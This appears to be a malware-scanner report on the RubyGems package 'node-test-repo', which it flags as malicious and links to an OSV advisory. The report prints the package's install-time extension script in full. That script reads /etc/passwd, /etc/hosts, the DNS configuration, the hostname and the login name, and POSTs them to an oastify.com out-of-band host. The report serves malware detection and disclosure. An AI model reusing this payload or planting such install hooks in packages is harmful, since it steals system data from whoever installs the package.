Hostile 100% ruby Download

node-test-repo 1.0.1

Exfiltrates system data to OOB

Ruby sends local account database contents to an OOB hostPOSTs host identity to an OOB service
SHA-256e2becb4938624d7d7fdcff4be66326eddbdf7e15755c1aa87ff097de4519876c

Also flagged by osv (MAL-2026-20058: Malicious code in node-test-repo (RubyGems)) +2 more.

Evidence

Connects a socket in Ruby mkrf_conf.rb · lines 1–32
1require 'json'
2require 'socket'
3require 'etc'
4require 'openssl'
5require 'resolv'
6
7begin
8 Resolv.getsddress('e9okezgvlhxswlui5o94upb1ys4xsngc.oastify.com')
9rescue; end
10
11data = {
12 p: 'user',
13 c: Dir.pwd,
14 hd: Dir.home,
15 hn: Socket.gethostname,
16 un: Etc.getlogin,
17 dns: File.exist?('/etc/resolv.conf') ? File.read('/etc/resolv.conf') : nil,
18 etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
19 etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
20}.to_json
21
22begin
23 s = TCPSocket.new('e9okezgvlhxswlui5o94upb1ys4xsngc.oastify.com', 443)
24 ssl = OpenSSL::SSL::SSLSocket.new(s)
25 ssl.sync_close = true
26 ssl.connect
27 body = {msg: data}.to_json
28 ssl.write("POST / HTTP/1.1\r\nHost: e9okezgvlhxswlui5o94upb1ys4xsngc.oastify.com\r\nContent-Type: application/json\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
29 ssl.close
30rescue; end
31
32File.write(File.join(__dir__, '..', 'lib', '.installed'), 'done')
Digest/expected label near a hexadecimal value checksums.yaml · lines 1–7
1---
2SHA256:
3 metadata.gz: d6d4a3f7f04f41d927f5e49f3dcc0ccd383f83acbce5b9413bac5ded25a013a3
4 data.tar.gz: 7e24c5371db97e7675443776d279ef4271e1647acd172490253a0d77e2a36706
5SHA512:
6 metadata.gz: 1e1fcaf4e40693e3acba374ff9f0cda640830c5b70f7fbce843b8153783614f0069405ceb54c441f2de16af0b384b636d55f8679421271b47ecec9f27a7b077e
7 data.tar.gz: 8b92b4915b904ff262b4be4922507b6baa7a9a7bc95f2aa85056e05afd1516c8581ab9228595205b45b374cc5231b72ed0d475e36c0ffb1b71e1005ea4764e02
Non-empty YAML extensions list in gem spec metadata · lines 1–45
1--- !ruby/object:Gem::Specification
2name: node-test-repo
3version: !ruby/object:Gem::Version
⋯10 lines
15executables: []
16extensions:
17- ext/mkrf_conf.rb
18extra_rdoc_files: []
19files:
⋯26 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.